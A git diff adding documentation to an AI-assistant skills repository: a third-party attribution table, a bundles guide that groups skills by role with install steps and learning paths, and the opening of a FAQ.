+| `fal-audio`, `fal-generate`, `fal-image-edit`, `fal-platform`, `fal-upscale`, `fal-workflow` | [fal.ai Community](https://github.com/fal-ai-community/skills) | Compatible | fal.ai AI model skills |
+
+### Community Skills
+
+| Skill | Original Source | License | Notes |
+| :------------------------------------------------------------------ | :-------------------------------------------------------------------------- | :--------- | :----------------------------- |
+| `automate-whatsapp`, `observe-whatsapp` | [gokapso](https://github.com/gokapso/agent-skills) | Compatible | WhatsApp automation skills |
+| `readme` | [Shpigford](https://github.com/Shpigford/skills) | Compatible | README generation |
+| `screenshots` | [Shpigford](https://github.com/Shpigford/skills) | Compatible | Marketing screenshots |
+| `aws-skills` | [zxkane](https://github.com/zxkane/aws-skills) | Compatible | AWS development patterns |
+| `deep-research` | [sanjay3290](https://github.com/sanjay3290/ai-skills) | Compatible | Gemini Deep Research Agent |
+| `ffuf-claude-skill` | [jthack](https://github.com/jthack/ffuf_claude_skill) | Compatible | Web fuzzing with ffuf |
+| `ui-skills` | [ibelick](https://github.com/ibelick/ui-skills) | Compatible | UI development constraints |
+| `vexor` | [scarletkc](https://github.com/scarletkc/vexor) | Compatible | Vector-powered CLI |
+| `pypict-skill` | [omkamal](https://github.com/omkamal/pypict-claude-skill) | Compatible | Pairwise test generation |
+| `makepad-skills` | [ZhangHanDong](https://github.com/ZhangHanDong/makepad-skills) | Compatible | Makepad UI development |
+| `swiftui-expert-skill` | [AvdLee](https://github.com/AvdLee/SwiftUI-Agent-Skill) | Compatible | SwiftUI best practices |
+| `threejs-skills` | [CloudAI-X](https://github.com/CloudAI-X/threejs-skills) | Compatible | Three.js 3D experiences |
+| `claude-scientific-skills` | [K-Dense-AI](https://github.com/K-Dense-AI/claude-scientific-skills) | Compatible | Scientific research skills |
+| `claude-win11-speckit-update-skill` | [NotMyself](https://github.com/NotMyself/claude-win11-speckit-update-skill) | Compatible | Windows 11 management |
+| `imagen` | [sanjay3290](https://github.com/sanjay3290/ai-skills) | Compatible | Google Gemini image generation |
+| `security-bluebook-builder` | [SHADOWPR0](https://github.com/SHADOWPR0/security-bluebook-builder) | Compatible | Security documentation |
+| `claude-ally-health` | [huifer](https://github.com/huifer/Claude-Ally-Health) | Compatible | Health assistant |
+| `clarity-gate` | [frmoretto](https://github.com/frmoretto/clarity-gate) | Compatible | RAG quality verification |
+| `n8n-code-python`, `n8n-mcp-tools-expert`, `n8n-node-configuration` | [czlonkowski](https://github.com/czlonkowski/n8n-skills) | Compatible | n8n automation skills |
+| `varlock-claude-skill` | [wrsmith108](https://github.com/wrsmith108/varlock-claude-skill) | Compatible | Secure environment variables |
+| `beautiful-prose` | [SHADOWPR0](https://github.com/SHADOWPR0/beautiful_prose) | Compatible | Writing style guide |
+| `claude-speed-reader` | [SeanZoR](https://github.com/SeanZoR/claude-speed-reader) | Compatible | Speed reading tool |
+| `skill-seekers` | [yusufkaraaslan](https://github.com/yusufkaraaslan/Skill_Seekers) | Compatible | Skill conversion tool |
+
+- **frontend-slides** - [zarazhangrui](https://github.com/zarazhangrui/frontend-slides)
+- **linear-claude-skill** - [wrsmith108](https://github.com/wrsmith108/linear-claude-skill)
+- **skill-rails-upgrade** - [robzolkos](https://github.com/robzolkos/skill-rails-upgrade)
+- **context-fundamentals** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **context-degradation** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **context-compression** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **context-optimization** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **multi-agent-patterns** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **tool-design** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **evaluation** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **memory-systems** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
+- **terraform-skill** - [antonbabenko](https://github.com/antonbabenko/terraform-skill)
+
+## Skills from whatiskadudoing/fp-ts-skills (v4.4.0)
+
+| Skill | Original Source | License | Notes |
+| :---------------- | :------------------------------------------------------------------------------ | :--------- | :------------------------------------------------------- |
+| `fp-ts-pragmatic` | [whatiskadudoing/fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Compatible | Pragmatic fp-ts guide – pipe, Option, Either, TaskEither |
+| `fp-ts-react` | [whatiskadudoing/fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Compatible | fp-ts with React 18/19 and Next.js |
+| `fp-ts-errors` | [whatiskadudoing/fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Compatible | Type-safe error handling with Either and TaskEither |
+
+---
+
+## Recently Added Skills (March 2026)
+
+The following skills were added during the March 2026 skills update:
+
+### UI/UX & Frontend
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `baseline-ui`, `fixing-accessibility`, `fixing-metadata`, `fixing-motion-performance` | [ibelick/ui-skills](https://github.com/ibelick/ui-skills) | Compatible | UI polish and validation |
+| `expo-ui-swift-ui`, `expo-ui-jetpack-compose`, `expo-tailwind-setup`, `building-native-ui`, `expo-api-routes`, `expo-dev-client`, `expo-cicd-workflows`, `native-data-fetching` | [expo/skills](https://github.com/expo/skills) | MIT | Expo/React Native skills |
+| `swiftui-expert-skill` | [AvdLee/SwiftUI-Agent-Skill](https://github.com/AvdLee/SwiftUI-Agent-Skill) | Compatible | SwiftUI development |
+| `threejs-fundamentals`, `threejs-geometry`, `threejs-materials`, `threejs-lighting`, `threejs-textures`, `threejs-animation`, `threejs-loaders`, `threejs-shaders`, `threejs-postprocessing`, `threejs-interaction` | [CloudAI-X/threejs-skills](https://github.com/CloudAI-X/threejs-skills) | Compatible | Three.js 3D graphics |
+| `frontend-slides` | [zarazhangrui](https://github.com/zarazhangrui/frontend-slides) | Compatible | HTML presentations |
+
+### Automation & Integration
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `gmail-automation`, `google-calendar-automation`, `google-docs-automation`, `google-sheets-automation`, `google-drive-automation`, `google-slides-automation` | [sanjay3290/ai-skills](https://github.com/sanjay3290/ai-skills) | Compatible | Google Workspace integration |
+| `n8n-expression-syntax`, `n8n-mcp-tools-expert`, `n8n-workflow-patterns`, `n8n-validation-expert`, `n8n-node-configuration`, `n8n-code-javascript`, `n8n-code-python` | [czlonkowski/n8n-skills](https://github.com/czlonkowski/n8n-skills) | Compatible | n8n workflow automation |
+| `automate-whatsapp` | [gokapso/agent-skills](https://github.com/gokapso/agent-skills) | Compatible | WhatsApp automation |
+| `linear` | [wrsmith108/linear-claude-skill](https://github.com/wrsmith108/linear-claude-skill) | Compatible | Linear project management |
+| `rails-upgrade` | [robzolkos](https://github.com/robzolkos/skill-rails-upgrade) | Compatible | Rails upgrade assistant |
+| `vexor-cli` | [scarletkc/vexor](https://github.com/scarletkc/vexor) | Compatible | Semantic file discovery |
+
+### Machine Learning & Data
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `hugging-face-dataset-viewer`, `hugging-face-datasets`, `hugging-face-evaluation`, `hugging-face-model-trainer`, `hugging-face-paper-publisher`, `hugging-face-tool-builder` | [huggingface/skills](https://github.com/huggingface/skills) | Compatible | HuggingFace ML tools |
+| `numpy`, `pandas`, `scipy`, `matplotlib`, `scikit-learn`, `jupyter-workflow` | [K-Dense-AI/claude-scientific-skills](https://github.com/K-Dense-AI/claude-scientific-skills) | Compatible | Data science essentials |
+| `biopython`, `scanpy`, `uniprot-database`, `pubmed-database` | [K-Dense-AI/claude-scientific-skills](https://github.com/K-Dense-AI/claude-scientific-skills) | Compatible | Bioinformatics tools |
+
+### Security & Auditing
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `semgrep-rule-creator`, `semgrep-rule-variant-creator`, `static-analysis`, `variant-analysis` | [trailofbits/skills](https://github.com/trailofbits/skills) | Compatible | Code security analysis |
+| `golang-security-auditor`, `python-security-auditor`, `rust-security-auditor` | [trailofbits/skills](https://github.com/trailofbits/skills) | Compatible | Language-specific security |
+| `burpsuite-project-parser`, `agentic-actions-auditor`, `audit-context-building`, `proof-of-vulnerability`, `yara-authoring` | [trailofbits/skills](https://github.com/trailofbits/skills) | Compatible | Security testing tools |
+
+### Context Engineering & AI
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `context-fundamentals`, `context-degradation`, `context-compression`, `context-optimization`, `multi-agent-patterns`, `filesystem-context` | [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering) | Compatible | Context engineering patterns |
+
+### Health & Wellness
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `sleep-analyzer`, `nutrition-analyzer`, `fitness-analyzer` | [huifer/Claude-Ally-Health](https://github.com/huifer/Claude-Ally-Health) | Compatible | Health tracking |
+
+### Quality & Verification
+| Skill | Source | License | Notes |
+|-------|--------|---------|-------|
+| `clarity-gate` | [frmoretto/clarity-gate](https://github.com/frmoretto/clarity-gate) | Compatible | RAG quality verification |
+
+**Total: 80+ new skills added**
+
+---
+
+## License Policy
+
+- **Code**: All original code in this repository is **MIT**.
+- **Content**: Documentation is **CC-BY-4.0**.
+- **Third Party**: We respect the upstream licenses. If an imported skill is GPL, it will be marked clearly or excluded (we aim for MIT/Apache compatibility).
diff --git a/docs/users/bundles.md b/docs/users/bundles.md
new file mode 100644
index 00000000..c794cf78
--- /dev/null
+++ b/docs/users/bundles.md
@@ -0,0 +1,464 @@
+# 📦 Antigravity Skill Bundles
+
+> **Curated collections of skills organized by role and expertise level.** Don't know where to start? Pick a bundle below to get a curated set of skills for your role.
+
+## 🚀 Quick Start
+
+1. **Install the repository:**
+
+ ```bash
+ npx antigravity-awesome-skills
+ # or clone manually
+ git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+ ```
+
+2. **Choose your bundle** from the list below based on your role or interests.
+
+3. **Use skills** by referencing them in your AI assistant:
+ - Claude Code: `>> /skill-name help me...`
+ - Cursor: `@skill-name in chat`
+ - Gemini CLI: `Use skill-name...`
+ - Codex CLI: `Use skill-name...`
+
+---
+
+## 🎯 Essentials & Core
+
+### 🚀 The "Essentials" Starter Pack
+
+_For everyone. Install these first._
+
+- [`concise-planning`](../../skills/concise-planning/): Always start with a plan.
+- [`lint-and-validate`](../../skills/lint-and-validate/): Keep your code clean automatically.
+- [`git-pushing`](../../skills/git-pushing/): Save your work safely.
+- [`kaizen`](../../skills/kaizen/): Continuous improvement mindset.
+- [`systematic-debugging`](../../skills/systematic-debugging/): Debug like a pro.
+
+---
+
+## 🛡️ Security & Compliance
+
+### 🛡️ The "Security Engineer" Pack
+
+_For pentesting, auditing, and hardening._
+
+- [`ethical-hacking-methodology`](../../skills/ethical-hacking-methodology/): The Bible of ethical hacking.
+- [`burp-suite-testing`](../../skills/burp-suite-testing/): Web vulnerability scanning.
+- [`top-web-vulnerabilities`](../../skills/top-web-vulnerabilities/): OWASP-aligned vulnerability taxonomy.
+- [`linux-privilege-escalation`](../../skills/linux-privilege-escalation/): Advanced Linux security assessment.
+- [`cloud-penetration-testing`](../../skills/cloud-penetration-testing/): AWS/Azure/GCP security.
+- [`security-auditor`](../../skills/security-auditor/): Comprehensive security audits.
+- [`vulnerability-scanner`](../../skills/vulnerability-scanner/): Advanced vulnerability analysis.
+
+### 🔐 The "Security Developer" Pack
+
+_For building secure applications._
+
+- [`api-security-best-practices`](../../skills/api-security-best-practices/): Secure API design patterns.
+- [`auth-implementation-patterns`](../../skills/auth-implementation-patterns/): JWT, OAuth2, session management.
+- [`backend-security-coder`](../../skills/backend-security-coder/): Secure backend coding practices.
+- [`frontend-security-coder`](../../skills/frontend-security-coder/): XSS prevention and client-side security.
+- [`cc-skill-security-review`](../../skills/cc-skill-security-review/): Security checklist for features.
+- [`pci-compliance`](../../skills/pci-compliance/): Payment card security standards.
+
+---
+
+## 🌐 Web Development
+
+### 🌐 The "Web Wizard" Pack
+
+_For building modern, high-performance web apps._
+
+- [`frontend-design`](../../skills/frontend-design/): UI guidelines and aesthetics.
+- [`react-best-practices`](../../skills/react-best-practices/): React & Next.js performance optimization.
+- [`react-patterns`](../../skills/react-patterns/): Modern React patterns and principles.
+- [`nextjs-best-practices`](../../skills/nextjs-best-practices/): Next.js App Router patterns.
+- [`tailwind-patterns`](../../skills/tailwind-patterns/): Tailwind CSS v4 styling superpowers.
+- [`form-cro`](../../skills/form-cro/): Optimize your forms for conversion.
+- [`seo-audit`](../../skills/seo-audit/): Get found on Google.
+
+### 🖌️ The "Web Designer" Pack
+
+_For pixel-perfect experiences._
+
+- [`ui-ux-pro-max`](../../skills/ui-ux-pro-max/): Premium design systems and tokens.
+- [`frontend-design`](../../skills/frontend-design/): The base layer of aesthetics.
+- [`3d-web-experience`](../../skills/3d-web-experience/): Three.js & React Three Fiber magic.
+- [`canvas-design`](../../skills/canvas-design/): Static visuals and posters.
+- [`mobile-design`](../../skills/mobile-design/): Mobile-first design principles.
+- [`scroll-experience`](../../skills/scroll-experience/): Immersive scroll-driven experiences.
+
+### ⚡ The "Full-Stack Developer" Pack
+
+_For end-to-end web application development._
+
+- [`senior-fullstack`](../../skills/senior-fullstack/): Complete fullstack development guide.
+- [`frontend-developer`](../../skills/frontend-developer/): React 19+ and Next.js 15+ expertise.
+- [`backend-dev-guidelines`](../../skills/backend-dev-guidelines/): Node.js/Express/TypeScript patterns.
+- [`api-patterns`](../../skills/api-patterns/): REST vs GraphQL vs tRPC selection.
+- [`database-design`](../../skills/database-design/): Schema design and ORM selection.
+- [`stripe-integration`](../../skills/stripe-integration/): Payments and subscriptions.
+
+---
+
+## 🤖 AI & Agents
+
+### 🤖 The "Agent Architect" Pack
+
+_For building AI systems and autonomous agents._
+
+- [`agent-evaluation`](../../skills/agent-evaluation/): Test and benchmark your agents.
+- [`langgraph`](../../skills/langgraph/): Build stateful agent workflows.
+- [`mcp-builder`](../../skills/mcp-builder/): Create your own MCP tools.
+- [`prompt-engineering`](../../skills/prompt-engineering/): Master the art of talking to LLMs.
+- [`ai-agents-architect`](../../skills/ai-agents-architect/): Design autonomous AI agents.
+- [`rag-engineer`](../../skills/rag-engineer/): Build RAG systems with vector search.
+
+### 🧠 The "LLM Application Developer" Pack
+
+_For building production LLM applications._
+
+- [`llm-app-patterns`](../../skills/llm-app-patterns/): Production-ready LLM patterns.
+- [`rag-implementation`](../../skills/rag-implementation/): Retrieval-Augmented Generation.
+- [`prompt-caching`](../../skills/prompt-caching/): Cache strategies for LLM prompts.
+- [`context-window-management`](../../skills/context-window-management/): Manage LLM context efficiently.
+- [`langfuse`](../../skills/langfuse/): LLM observability and tracing.
+
+---
+
+## 🎮 Game Development
+
+### 🎮 The "Indie Game Dev" Pack
+
+_For building games with AI assistants._
+
+- [`game-development/game-design`](../../skills/game-development/game-design/): Mechanics and loops.
+- [`game-development/2d-games`](../../skills/game-development/2d-games/): Sprites and physics.
+- [`game-development/3d-games`](../../skills/game-development/3d-games/): Models and shaders.
+- [`unity-developer`](../../skills/unity-developer/): Unity 6 LTS development.
+- [`godot-gdscript-patterns`](../../skills/godot-gdscript-patterns/): Godot 4 GDScript patterns.
+- [`algorithmic-art`](../../skills/algorithmic-art/): Generate assets with code.
+
+---
+
+## 🐍 Backend & Languages
+
+### 🐍 The "Python Pro" Pack
+
+_For backend heavyweights and data scientists._
+
+- [`python-pro`](../../skills/python-pro/): Master Python 3.12+ with modern features.
+- [`python-patterns`](../../skills/python-patterns/): Idiomatic Python code.
+- [`fastapi-pro`](../../skills/fastapi-pro/): High-performance async APIs.
+- [`fastapi-templates`](../../skills/fastapi-templates/): Production-ready FastAPI projects.
+- [`django-pro`](../../skills/django-pro/): The battery-included framework.
+- [`python-testing-patterns`](../../skills/python-testing-patterns/): Comprehensive testing with pytest.
+- [`async-python-patterns`](../../skills/async-python-patterns/): Python asyncio mastery.
+
+### 🟦 The "TypeScript & JavaScript" Pack
+
+_For modern web development._
+
+- [`typescript-expert`](../../skills/typescript-expert/): TypeScript mastery and advanced types.
+- [`javascript-pro`](../../skills/javascript-pro/): Modern JavaScript with ES6+.
+- [`react-best-practices`](../../skills/react-best-practices/): React performance optimization.
+- [`nodejs-best-practices`](../../skills/nodejs-best-practices/): Node.js development principles.
+- [`nextjs-app-router-patterns`](../../skills/nextjs-app-router-patterns/): Next.js 14+ App Router.
+
+### 🦀 The "Systems Programming" Pack
+
+_For low-level and performance-critical code._
+
+- [`rust-pro`](../../skills/rust-pro/): Rust 1.75+ with async patterns.
+- [`go-concurrency-patterns`](../../skills/go-concurrency-patterns/): Go concurrency mastery.
+- [`golang-pro`](../../skills/golang-pro/): Go development expertise.
+- [`memory-safety-patterns`](../../skills/memory-safety-patterns/): Memory-safe programming.
+- [`cpp-pro`](../../skills/cpp-pro/): Modern C++ development.
+
+---
+
+## 🦄 Product & Business
+
+### 🦄 The "Startup Founder" Pack
+
+_For building products, not just code._
+
+- [`product-manager-toolkit`](../../skills/product-manager-toolkit/): RICE prioritization, PRD templates.
+- [`competitive-landscape`](../../skills/competitive-landscape/): Competitor analysis.
+- [`competitor-alternatives`](../../skills/competitor-alternatives/): Create comparison pages.
+- [`launch-strategy`](../../skills/launch-strategy/): Product launch planning.
+- [`copywriting`](../../skills/copywriting/): Marketing copy that converts.
+- [`stripe-integration`](../../skills/stripe-integration/): Get paid from day one.
+
+### 📊 The "Business Analyst" Pack
+
+_For data-driven decision making._
+
+- [`business-analyst`](../../skills/business-analyst/): AI-powered analytics and KPIs.
+- [`startup-metrics-framework`](../../skills/startup-metrics-framework/): SaaS metrics and unit economics.
+- [`startup-financial-modeling`](../../skills/startup-financial-modeling/): 3-5 year financial projections.
+- [`market-sizing-analysis`](../../skills/market-sizing-analysis/): TAM/SAM/SOM calculations.
+- [`kpi-dashboard-design`](../../skills/kpi-dashboard-design/): Effective KPI dashboards.
+
+### 📈 The "Marketing & Growth" Pack
+
+_For driving user acquisition and retention._
+
+- [`content-creator`](../../skills/content-creator/): SEO-optimized marketing content.
+- [`seo-audit`](../../skills/seo-audit/): Technical SEO health checks.
+- [`programmatic-seo`](../../skills/programmatic-seo/): Create pages at scale.
+- [`analytics-tracking`](../../skills/analytics-tracking/): Set up GA4/PostHog correctly.
+- [`ab-test-setup`](../../skills/ab-test-setup/): Validated learning experiments.
+- [`email-sequence`](../../skills/email-sequence/): Automated email campaigns.
+
+---
+
+## 🌧️ DevOps & Infrastructure
+
+### 🌧️ The "DevOps & Cloud" Pack
+
+_For infrastructure and scaling._
+
+- [`docker-expert`](../../skills/docker-expert/): Master containers and multi-stage builds.
+- [`aws-serverless`](../../skills/aws-serverless/): Serverless on AWS (Lambda, DynamoDB).
+- [`kubernetes-architect`](../../skills/kubernetes-architect/): K8s architecture and GitOps.
+- [`terraform-specialist`](../../skills/terraform-specialist/): Infrastructure as Code mastery.
+- [`environment-setup-guide`](../../skills/environment-setup-guide/): Standardization for teams.
+- [`deployment-procedures`](../../skills/deployment-procedures/): Safe rollout strategies.
+- [`bash-linux`](../../skills/bash-linux/): Terminal wizardry.
+
+### 📊 The "Observability & Monitoring" Pack
+
+_For production reliability._
+
+- [`observability-engineer`](../../skills/observability-engineer/): Comprehensive monitoring systems.
+- [`distributed-tracing`](../../skills/distributed-tracing/): Track requests across microservices.
+- [`slo-implementation`](../../skills/slo-implementation/): Service Level Objectives.
+- [`incident-responder`](../../skills/incident-responder/): Rapid incident response.
+- [`postmortem-writing`](../../skills/postmortem-writing/): Blameless postmortems.
+- [`performance-engineer`](../../skills/performance-engineer/): Application performance optimization.
+
+---
+
+## 📊 Data & Analytics
+
+### 📊 The "Data & Analytics" Pack
+
+_For making sense of the numbers._
+
+- [`analytics-tracking`](../../skills/analytics-tracking/): Set up GA4/PostHog correctly.
+- [`claude-d3js-skill`](../../skills/claude-d3js-skill/): Beautiful custom visualizations with D3.js.
+- [`sql-pro`](../../skills/sql-pro/): Modern SQL with cloud-native databases.
+- [`postgres-best-practices`](../../skills/postgres-best-practices/): Postgres optimization.
+- [`ab-test-setup`](../../skills/ab-test-setup/): Validated learning.
+- [`database-architect`](../../skills/database-architect/): Database design from scratch.
+
+### 🔄 The "Data Engineering" Pack
+
+_For building data pipelines._
+
+- [`data-engineer`](../../skills/data-engineer/): Data pipeline architecture.
+- [`airflow-dag-patterns`](../../skills/airflow-dag-patterns/): Apache Airflow DAGs.
+- [`dbt-transformation-patterns`](../../skills/dbt-transformation-patterns/): Analytics engineering.
+- [`vector-database-engineer`](../../skills/vector-database-engineer/): Vector databases for RAG.
+- [`embedding-strategies`](../../skills/embedding-strategies/): Embedding model selection.
+
+---
+
+## 🎨 Creative & Content
+
+### 🎨 The "Creative Director" Pack
+
+_For visuals, content, and branding._
+
+- [`canvas-design`](../../skills/canvas-design/): Generate posters and diagrams.
+- [`frontend-design`](../../skills/frontend-design/): UI aesthetics.
+- [`content-creator`](../../skills/content-creator/): SEO-optimized blog posts.
+- [`copy-editing`](../../skills/copy-editing/): Polish your prose.
+- [`algorithmic-art`](../../skills/algorithmic-art/): Code-generated masterpieces.
+- [`interactive-portfolio`](../../skills/interactive-portfolio/): Portfolios that land jobs.
+
+---
+
+## 🐞 Quality Assurance
+
+### 🐞 The "QA & Testing" Pack
+
+_For breaking things before users do._
+
+- [`test-driven-development`](../../skills/test-driven-development/): Red, Green, Refactor.
+- [`systematic-debugging`](../../skills/systematic-debugging/): Debug like Sherlock Holmes.
+- [`browser-automation`](../../skills/browser-automation/): End-to-end testing with Playwright.
+- [`e2e-testing-patterns`](../../skills/e2e-testing-patterns/): Reliable E2E test suites.
+- [`ab-test-setup`](../../skills/ab-test-setup/): Validated experiments.
+- [`code-review-checklist`](../../skills/code-review-checklist/): Catch bugs in PRs.
+- [`test-fixing`](../../skills/test-fixing/): Fix failing tests systematically.
+
+---
+
+## 🔧 Specialized Packs
+
+### 📱 The "Mobile Developer" Pack
+
+_For iOS, Android, and cross-platform apps._
+
+- [`mobile-developer`](../../skills/mobile-developer/): Cross-platform mobile development.
+- [`react-native-architecture`](../../skills/react-native-architecture/): React Native with Expo.
+- [`flutter-expert`](../../skills/flutter-expert/): Flutter multi-platform apps.
+- [`ios-developer`](../../skills/ios-developer/): iOS development with Swift.
+- [`app-store-optimization`](../../skills/app-store-optimization/): ASO for App Store and Play Store.
+
+### 🔗 The "Integration & APIs" Pack
+
+_For connecting services and building integrations._
+
+- [`stripe-integration`](../../skills/stripe-integration/): Payments and subscriptions.
+- [`twilio-communications`](../../skills/twilio-communications/): SMS, voice, WhatsApp.
+- [`hubspot-integration`](../../skills/hubspot-integration/): CRM integration.
+- [`plaid-fintech`](../../skills/plaid-fintech/): Bank account linking and ACH.
+- [`algolia-search`](../../skills/algolia-search/): Search implementation.
+
+### 🎯 The "Architecture & Design" Pack
+
+_For system design and technical decisions._
+
+- [`senior-architect`](../../skills/senior-architect/): Comprehensive software architecture.
+- [`architecture-patterns`](../../skills/architecture-patterns/): Clean Architecture, DDD, Hexagonal.
+- [`microservices-patterns`](../../skills/microservices-patterns/): Microservices architecture.
+- [`event-sourcing-architect`](../../skills/event-sourcing-architect/): Event sourcing and CQRS.
+- [`architecture-decision-records`](../../skills/architecture-decision-records/): Document technical decisions.
+
+### 🧱 The "DDD & Evented Architecture" Pack
+
+_For teams modeling complex domains and evolving toward evented systems._
+
+- [`domain-driven-design`](../../skills/domain-driven-design/): Route DDD work from strategic modeling to implementation patterns.
+- [`ddd-strategic-design`](../../skills/ddd-strategic-design/): Subdomains, bounded contexts, and ubiquitous language.
+- [`ddd-context-mapping`](../../skills/ddd-context-mapping/): Cross-context integration and anti-corruption boundaries.
+- [`ddd-tactical-patterns`](../../skills/ddd-tactical-patterns/): Aggregates, value objects, repositories, and domain events.
+- [`cqrs-implementation`](../../skills/cqrs-implementation/): Read/write model separation.
+- [`event-store-design`](../../skills/event-store-design/): Event persistence and replay architecture.
+- [`saga-orchestration`](../../skills/saga-orchestration/): Cross-context long-running transaction coordination.
+- [`projection-patterns`](../../skills/projection-patterns/): Materialized read models from event streams.
+
+---
+
+## 🧰 Maintainer & OSS
+
+### 🛠️ The "OSS Maintainer" Pack
+
+_For shipping clean changes in public repositories._
+
+- [`commit`](../../skills/commit/): High-quality conventional commits.
+- [`create-pr`](../../skills/create-pr/): PR creation with review-ready context.
+- [`requesting-code-review`](../../skills/requesting-code-review/): Ask for targeted, high-signal reviews.
+- [`receiving-code-review`](../../skills/receiving-code-review/): Apply feedback with technical rigor.
+- [`changelog-automation`](../../skills/changelog-automation/): Keep release notes and changelogs consistent.
+- [`git-advanced-workflows`](../../skills/git-advanced-workflows/): Rebase, cherry-pick, bisect, recovery.
+- [`documentation-templates`](../../skills/documentation-templates/): Standardize docs and handoffs.
+
+### 🧱 The "Skill Author" Pack
+
+_For creating and maintaining high-quality SKILL.md assets._
+
+- [`skill-creator`](../../skills/skill-creator/): Design effective new skills.
+- [`skill-developer`](../../skills/skill-developer/): Implement triggers, hooks, and skill lifecycle.
+- [`writing-skills`](../../skills/writing-skills/): Improve clarity and structure of skill instructions.
+- [`documentation-generation-doc-generate`](../../skills/documentation-generation-doc-generate/): Generate maintainable technical docs.
+- [`lint-and-validate`](../../skills/lint-and-validate/): Validate quality after edits.
+- [`verification-before-completion`](../../skills/verification-before-completion/): Confirm changes before claiming done.
+
+---
+
+## 📚 How to Use Bundles
+
+### 1) Pick by immediate goal
+
+- Need to ship a feature now: `Essentials` + one domain pack (`Web Wizard`, `Python Pro`, `DevOps & Cloud`).
+- Need reliability and hardening: add `QA & Testing` + `Security Developer`.
+- Need product growth: add `Startup Founder` or `Marketing & Growth`.
+
+### 2) Start with 3-5 skills, not 20
+
+Pick the minimum set for your current milestone. Expand only when you hit a real gap.
+
+### 3) Invoke skills consistently
+
+- **Claude Code**: `>> /skill-name help me...`
+- **Cursor**: `@skill-name` in chat
+- **Gemini CLI**: `Use skill-name...`
+- **Codex CLI**: `Use skill-name...`
+
+### 4) Build your personal shortlist
+
+Keep a small list of high-frequency skills and reuse it across tasks to reduce context switching.
+
+## 🧩 Recommended Bundle Combos
+
+### Ship a SaaS MVP (2 weeks)
+
+`Essentials` + `Full-Stack Developer` + `QA & Testing` + `Startup Founder`
+
+### Harden an existing production app
+
+`Essentials` + `Security Developer` + `DevOps & Cloud` + `Observability & Monitoring`
+
+### Build an AI product
+
+`Essentials` + `Agent Architect` + `LLM Application Developer` + `Data Engineering`
+
+### Grow traffic and conversions
+
+`Web Wizard` + `Marketing & Growth` + `Data & Analytics`
+
+### Launch and maintain open source
+
+`Essentials` + `OSS Maintainer` + `Architecture & Design`
+
+---
+
+## 🎓 Learning Paths
+
+### Beginner → Intermediate → Advanced
+
+**Web Development:**
+
+1. Start: `Essentials` → `Web Wizard`
+2. Grow: `Full-Stack Developer` → `Architecture & Design`
+3. Master: `Observability & Monitoring` → `Security Developer`
+
+**AI/ML:**
+
+1. Start: `Essentials` → `Agent Architect`
+2. Grow: `LLM Application Developer` → `Data Engineering`
+3. Master: Advanced RAG and agent orchestration
+
+**Security:**
+
+1. Start: `Essentials` → `Security Developer`
+2. Grow: `Security Engineer` → Advanced pentesting
+3. Master: Red team tactics and threat modeling
+
+**Open Source Maintenance:**
+
+1. Start: `Essentials` → `OSS Maintainer`
+2. Grow: `Architecture & Design` → `QA & Testing`
+3. Master: `Skill Author` + release automation workflows
+
+---
+
+## 🤝 Contributing
+
+Found a skill that should be in a bundle? Or want to create a new bundle? [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) or submit a PR!
+
+---
+
+## 📖 Related Documentation
+
+- [Getting Started Guide](getting-started.md)
+- [Full Skill Catalog](../../CATALOG.md)
+- [Contributing Guide](../../CONTRIBUTING.md)
+
+---
+
+_Last updated: March 2026 | Total Skills: 1,204+ | Total Bundles: 26_
diff --git a/docs/users/faq.md b/docs/users/faq.md
new file mode 100644
index 00000000..7b8bc8f8
--- /dev/null
+++ b/docs/users/faq.md
@@ -0,0 +1,197 @@
+# ❓ Frequently Asked Questions (FAQ)
+
+**Got questions?** You're not alone! Here are answers to the most common questions about Antigravity Awesome Skills.
+
+---
+
+## 🎯 General Questions
+
+### What are "skills" exactly?
+
+Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
+**Simple analogy:** Just like you might consult different experts (a lawyer, a doctor, a mechanic), these skills let your AI become an expert in different areas when you need them.
+
+### Do I need to install all 1,204+ skills?
+
+**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name`.
+It's like having a library - all books are there, but you only read the ones you need.
+**Pro Tip:** Use [Starter Packs](bundles.md) to install only what matches your role.
+
+### What is the difference between Bundles and Workflows?
+
+- **Bundles** are curated recommendations grouped by role or domain.
+- **Workflows** are ordered execution playbooks for concrete outcomes.
+
+Use bundles when you are deciding _which skills_ to include. Use workflows when you need _step-by-step execution_.
+
+Start from:
+
+- [bundles.md](bundles.md)
+- [workflows.md](workflows.md)
+
+### Which AI tools work with these skills?
+
+- ✅ **Claude Code** (Anthropic CLI)
+- ✅ **Gemini CLI** (Google)
+- ✅ **Codex CLI** (OpenAI)
+- ✅ **Cursor** (AI IDE)
+- ✅ **Antigravity IDE**
+- ✅ **OpenCode**
+- ⚠️ **GitHub Copilot** (partial support via copy-paste)
+
+### Are these skills free to use?
+
+**Yes!** This repository is licensed under MIT License.
+
+- ✅ Free for personal use
+- ✅ Free for commercial use
+- ✅ You can modify them
+
+### Do skills work offline?
+
+The skill files themselves are stored locally on your computer, but your AI assistant needs an internet connection to function.
+
